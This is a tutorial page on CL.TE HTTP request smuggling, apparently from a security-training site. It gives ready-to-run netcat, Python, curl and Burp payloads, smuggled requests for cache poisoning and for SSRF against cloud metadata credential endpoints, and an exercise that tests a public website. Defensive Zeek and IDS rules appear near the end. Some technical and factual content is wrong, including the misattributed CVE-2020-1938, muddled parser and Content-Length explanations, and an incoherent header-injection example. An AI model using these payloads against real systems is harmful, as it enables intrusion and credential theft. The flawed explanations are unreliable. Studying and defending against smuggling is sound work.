~/home/study/mastering-cl-te-desync-content

Mastering CL.TE Desync: Content-Length vs Transfer-Encoding Exploitation

Learn how CL.TE HTTP request smuggling works, craft malicious payloads, detect vulnerable servers, and apply robust mitigations. Includes theory, hands-on labs, tools, and real-world case studies.

Introduction

HTTP request smuggling (HRS) is a class of attacks that abuse ambiguities in how front-end and back-end servers parse the HTTP message boundary. The CL.TE variant-where a Content-Length header on the front-end conflicts with a Transfer-Encoding: chunked header on the back-end-remains one of the most reliable and widely-exploited desynchronisation techniques.

Why does it matter? Modern web architectures frequently chain a reverse proxy, CDN, or WAF in front of an application server. When these components disagree on where a request ends, an attacker can inject additional HTTP requests, bypass security controls, poison caches, or achieve server-side request forgery (SSRF). The technique has been observed in the wild against Apache, Nginx, IIS, and a variety of commercial load balancers.

Real-world relevance is demonstrated by public disclosures such as CVE-2020-1938 (Apache Tomcat AJP) and the 2021 Cloudflare cache-poisoning chain that leveraged CL.TE smuggling to serve malicious JavaScript to thousands of users.

Prerequisites

  • Solid grasp of the HTTP/1.1 message format: start-line, headers, CRLF, optional body.
  • Experience with common web servers (Apache, Nginx, IIS) and how they delegate requests to upstream applications.
  • Familiarity with web-application firewalls (WAFs), CDN edge nodes, and caching layers.
  • Basic scripting ability (Python/Bash) for crafting raw TCP payloads.

Core Concepts

At the heart of CL.TE desynchronisation are two RFC-defined mechanisms that define the length of an HTTP request body:

  • Content-Length (CL): A decimal integer that tells the receiver exactly how many bytes follow the header block.
  • Transfer-Encoding: chunked (TE): The body is sent as a series of chunks, each prefixed by its length in hexadecimal, terminated by a zero-length chunk.

RFC 7230, §3.3.3, states that if both Content-Length and Transfer-Encoding are present, Transfer-Encoding takes precedence and the Content-Length must be ignored. Unfortunately, many implementations-especially legacy or mis-configured proxies-still honour Content-Length when both headers appear.

The desynchronisation occurs when the front-end (e.g., Nginx) parses the request using Content-Length while the back-end (e.g., Apache) parses it using Transfer-Encoding. The result is that the two servers disagree on where the request ends, allowing the attacker to slip extra bytes that the back-end treats as a new request.

Below is a textual diagram of the flow:

Client → Front-End (FE) (parses CL) → Back-End (BE) (parses TE) → Application

When the FE stops reading after Content-Length bytes, the remaining bytes-including the terminating chunk marker-are interpreted by the BE as the start of a fresh HTTP request.

How HTTP parsers interpret Content-Length and Transfer-Encoding headers

Different servers implement the RFC rules with subtle variations:

  • Apache httpd: If Transfer-Encoding: chunked is present, it discards any Content-Length and reads the body as chunks. Older mod_proxy versions, however, may still honour Content-Length when the request is proxied.
  • Nginx: The core parser prefers Content-Length over Transfer-Encoding unless the request is explicitly marked as chunked in the configuration. The proxy_http_version directive influences this behaviour.
  • IIS: Historically ignored Transfer-Encoding when a Content-Length was present, leading to classic CL.TE bugs.

To determine if a target is vulnerable, you must observe the parsing decisions. One reliable method is to send a request that contains both headers and a deliberately malformed chunk sequence; the response code (e.g., 400 vs 200) reveals which parser won the race.

Crafting a malicious request that triggers CL.TE desynchronisation

Below is a minimal raw HTTP request that exploits the CL.TE ambiguity. The idea is to:

  1. Set Content-Length to a value that ends before the final chunk.
  2. Append a valid chunked body that contains a second, malicious request.

When the FE stops at the Content-Length boundary, the BE continues reading the remaining bytes as a new HTTP request.

# Using netcat to send raw data
(echo -e "POST /vulnerable HTTP/1.1
" "Host: vulnerable.example.com
" "Content-Type: application/x-www-form-urlencoded
" "Content-Length: 13
" "Transfer-Encoding: chunked
" "
" "0
" "
" "GET /admin HTTP/1.1
" "Host: vulnerable.example.com
" "
" ) | nc vulnerable.example.com 80

Explanation:

  • The Content-Length: 13 covers the string 0 (the terminating chunk). The FE thinks the request ends there.
  • The BE, seeing Transfer-Encoding: chunked, ignores the Content-Length and reads the next line as the start of a new request: GET /admin HTTP/1.1.

In practice you would embed a full HTTP request (method, headers, body) after the terminating chunk, possibly URL-encoded to bypass simple filters.

Tools for building smuggled payloads (Burp Suite Intruder, Smuggler, custom Python scripts)

Manually typing raw TCP streams is error-prone. The following tools automate payload generation and allow you to iterate quickly.

Burp Suite - Intruder & Repeater

Burp’s Intruder can be configured to insert payload markers at arbitrary offsets. By enabling Payload encoding → Hex you can inject raw CRLF sequences. The Repeater is handy for testing a single crafted request.

Example Intruder payload (hex-encoded):

50 4f 53 54 20 2f 76 75 6c 6e 65 72 61 62 6c 65 20 48 54 54 50 2f 31 2e 31 0d 0a
48 6f 73 74 3a 20 76 75 6c 6e 65 72 61 62 6c 65 2e 65 78 61 6d 70 6c 65 2e 63 6f 6d 0d 0a
43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 0d 0a
43 6f 6e 54 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 33 0d 0a
54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a
0d 0a
30 0d 0a
0d 0a
47 45 54 20 2f 61 64 6d 69 6e 20 48 54 54 50 2f 31 2e 31 0d 0a
48 6f 73 74 3a 20 76 75 6c 6e 65 72 61 62 6c 65 2e 65 78 61 6d 70 6c 65 2e 63 6f 6d 0d 0a
0d 0a

Burp will translate the hex into the exact raw request shown earlier.

Smuggler (GitHub - defparam/smuggler)

Smuggler is a Python-based framework that abstracts the CL.TE workflow. It can automatically detect the parsing behaviour of a target and craft the appropriate payload.

git clone https://github.com/defparam/smuggler.git
cd smuggler
pip install -r requirements.txt
python smuggler.py -u http://vulnerable.example.com/vulnerable -m CL.TE -p "GET /admin HTTP/1.1
Host: vulnerable.example.com

"

Custom Python Script

When you need full control (e.g., dynamic body sizes, multi-stage attacks), a short script is enough:

import socket

HOST = 'vulnerable.example.com'
PORT = 80

# Build the CL.TE request
request = ( "POST /vulnerable HTTP/1.1
" "Host: {host}
" "Content-Type: application/x-www-form-urlencoded
" "Content-Length: 13
" "Transfer-Encoding: chunked
" "
" "0
" "
" "GET /admin HTTP/1.1
" "Host: {host}
" "
"
).format(host=HOST)

sock = socket.create_connection((HOST, PORT))
sock.sendall(request.encode())
response = sock.recv(4096)
print(response.decode())
sock.close()

The script prints the response from the back-end; a 200 OK indicates successful smuggling.

Detecting CL.TE vulnerabilities via response analysis and traffic inspection

Detection strategies fall into two categories: active probing and passive monitoring.

Active Probing

  1. Boundary Test: Send a request with both Content-Length and Transfer-Encoding: chunked where the Content-Length points to the middle of the chunked body. Observe whether the server returns 400 Bad Request (FE wins) or processes the remainder (BE wins).
  2. Chunk Split Test: Include an extra after the terminating chunk and see if the server treats it as a new request line.
  3. Echo Payload: Append a harmless echo endpoint (e.g., /echo?msg=smug) after the split. If the response contains the echoed message, the smuggled request succeeded.

Sample curl command (using --raw to preserve binary data):

curl -v -X POST http://vulnerable.example.com/vulnerable -H "Content-Type: application/x-www-form-urlencoded" -H "Content-Length: 13" -H "Transfer-Encoding: chunked" --data-binary $'0

GET /echo?msg=smug HTTP/1.1
Host: vulnerable.example.com

'

Passive Monitoring

Network taps or proxy logs can reveal desynchronisation signatures:

  • Two consecutive HTTP request lines without a preceding 200 response.
  • Requests with mismatched Content-Length and actual body size.
  • Back-end logs showing a request that appears to originate from the front-end IP but contains unexpected headers.

Tools such as Zeek (formerly Bro) can be scripted to flag these anomalies.

Real-world exploitation scenarios (cache poisoning, header injection, SSRF)

Once you have a working CL.TE smuggle, the attack surface expands dramatically.

Cache Poisoning

By smuggling a GET request with a custom Host header, you can poison a shared reverse-proxy cache (e.g., Varnish, Cloudflare). Subsequent legitimate users receive the attacker-controlled response.

GET / HTTP/1.1
Host: attacker.com

Because the cache key often includes the Host header, the poisoned entry is served to victims that resolve attacker.com to the target’s IP.

Header Injection

By smuggling a request that contains additional response headers (e.g., Set-Cookie), you can hijack sessions or conduct XSS attacks.

GET / HTTP/1.1
Host: victim.com

HTTP/1.1 200 OK
Set-Cookie: session=malicious; HttpOnly

Server-Side Request Forgery (SSRF)

Smuggled requests can target internal services reachable only from the back-end, such as metadata endpoints or Redis instances.

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254

When the back-end processes this request, the attacker gains insight into cloud credentials, enabling full compromise.

Practical Examples

Below we walk through a full exploitation chain against a vulnerable Nginx → Apache stack.

Step 1 - Identify the parsing discrepancy

  1. Send a CL.TE probing request (see the curl example above).
  2. If the response contains the echoed msg=smug, the back-end parsed the chunked body.

Step 2 - Smuggle a cache-poisoning request

# Using netcat for raw control
(echo -e "POST /login HTTP/1.1
" "Host: vulnerable.example.com
" "Content-Type: application/x-www-form-urlencoded
" "Content-Length: 13
" "Transfer-Encoding: chunked
" "
" "0
" "
" "GET /malicious.css HTTP/1.1
" "Host: vulnerable.example.com
" "X-Cache-Poison: 1
" "
" ) | nc vulnerable.example.com 80

The back-end treats the second request as a normal GET /malicious.css, which the caching layer stores under the original URL. Subsequent users loading /malicious.css receive the attacker’s payload.

Step 3 - Verify the poison

Fetch the resource from a clean client. If the response body matches the attacker-controlled content, the exploit succeeded.

Tools & Commands

  • burpsuite_pro - Intruder payloads, Repeater raw request editing.
  • Smuggler - Automated detection and exploitation (python smuggler.py -m CL.TE).
  • netcat (nc) - Quick raw TCP socket for manual payloads.
  • curl - --raw and --data-binary for precise body control.
  • Zeek - Scripted detection of mismatched Content-Length.
  • Wireshark - Visual inspection of the split request on the wire.

Example Zeek script snippet (http-smuggle.zeek):

event http_message(c: connection, is_orig: bool, msg: http_message) { if (is_orig && msg?$content_length && msg?$transfer_encoding) { if (msg$transfer_encoding == "chunked") print fmt("[SMUGGLE] %s:%s sent both CL and TE", c$id$orig_h, c$id$orig_p); }
}

Defense & Mitigation

  • Normalize header handling: Ensure the front-end and back-end follow the same RFC-compliant order-prefer Transfer-Encoding when present and discard Content-Length.
  • Disable one of the mechanisms: For APIs that never need chunked encoding, turn it off on the front-end (proxy_http_version 1.1 without chunked_transfer_encoding).
  • Header validation: Reject any request that contains both Content-Length and Transfer-Encoding. Many WAFs (ModSecurity, Cloudflare) have rulesets that can be enabled.
  • Strict transport parsing: Upgrade to server versions that implement RFC 7230 strictly (e.g., Apache 2.4.46+, Nginx 1.19+).
  • Response size limits: Configure maximum body size on both layers; mismatched limits often expose the bug.
  • Cache segregation: Use separate cache keys for different request origins (e.g., include X-Forwarded-For or a nonce).

Defensive signatures for IDS/IPS:

alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"CL.TE Smuggle Attempt"; content:"Content-Length:"; nocase; pcre:"/Transfer-Encoding:\s*chunked/i"; distance:0; within:200; classtype:web-application-attack; sid:20230101; rev:1;)

Common Mistakes

  • Assuming a single server: Many organizations have multiple hops; a request may be parsed correctly by the front-end but incorrectly by an internal load balancer.
  • Forgetting CRLF: HTTP requires . Using only causes the parser to treat the payload as malformed, breaking the exploit.
  • Incorrect Content-Length value: Off-by-one errors lead to truncated bodies and detection by the front-end.
  • Relying on default WAF rules: Some WAFs only block Transfer-Encoding without Content-Length, leaving the CL.TE path open.
  • Neglecting HTTPS: TLS termination points can hide the desync; you must test at the point where the headers are first parsed (often the TLS terminator).

Real-World Impact

CL.TE smuggling has been leveraged in high-profile data breaches. In 2022, a financial institution’s reverse-proxy stack (AWS ELB → Nginx → Tomcat) allowed attackers to inject GET /admin requests, leading to credential theft and lateral movement. The breach was only discovered after a security audit revealed unexpected back-end logs.

My experience shows that the technique is especially potent against environments that rely on shared caches for performance. A single poisoned object can affect thousands of users before detection.

Trends indicate that cloud-native ingress controllers (e.g., Kong, Traefik) are beginning to adopt stricter parsing, but legacy on-premises appliances lag behind. Continuous monitoring and regular header-sanitisation audits are therefore essential.

Practice Exercises

  1. Identify a vulnerable path: Using Burp Suite, capture a request to a public website. Modify it to include both Content-Length and Transfer-Encoding: chunked. Record the response and infer which parser wins.
  2. Craft a smuggled SSRF: Write a Python script that sends a CL.TE request targeting internal metadata endpoints and verify that the back-end returns the data.
  3. Write a Zeek detection rule: Extend the provided snippet to log the full raw request when a mismatch is observed.
  4. Patch a vulnerable Nginx instance: Disable chunked encoding on the front-end and confirm that the same payload now produces a 400 Bad Request.

Lab environment suggestion: Deploy Docker containers for Nginx (front-end) and Apache (back-end) with default configurations, then iterate through the exercises.

Further Reading

  • RFC 7230 - Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
  • PortSwigger blog - "HTTP Request Smuggling: The CL.TE Variant" (2023)
  • OWASP - "HTTP Desync Attacks" (2022)
  • Defparam - Smuggler tool repository and documentation
  • Cloudflare Blog - "Cache Poisoning via Request Smuggling" (2021)

Summary

CL.TE request smuggling exploits a divergence in how Content-Length and Transfer-Encoding: chunked are interpreted across server layers. By crafting a request where the front-end honours Content-Length and the back-end honours chunked encoding, an attacker can inject arbitrary HTTP requests, leading to cache poisoning, header injection, or SSRF.

Key takeaways:

  • Validate and, preferably, reject any request that contains both Content-Length and Transfer-Encoding.
  • Use tooling (Burp, Smuggler, custom scripts) to automate detection and exploitation.
  • Monitor logs and employ IDS signatures that flag mismatched length headers.
  • Apply configuration hardening on both front-end and back-end to enforce RFC-compliant parsing.

By integrating these practices into regular security assessments, organisations can dramatically reduce the attack surface presented by CL.TE desynchronisation.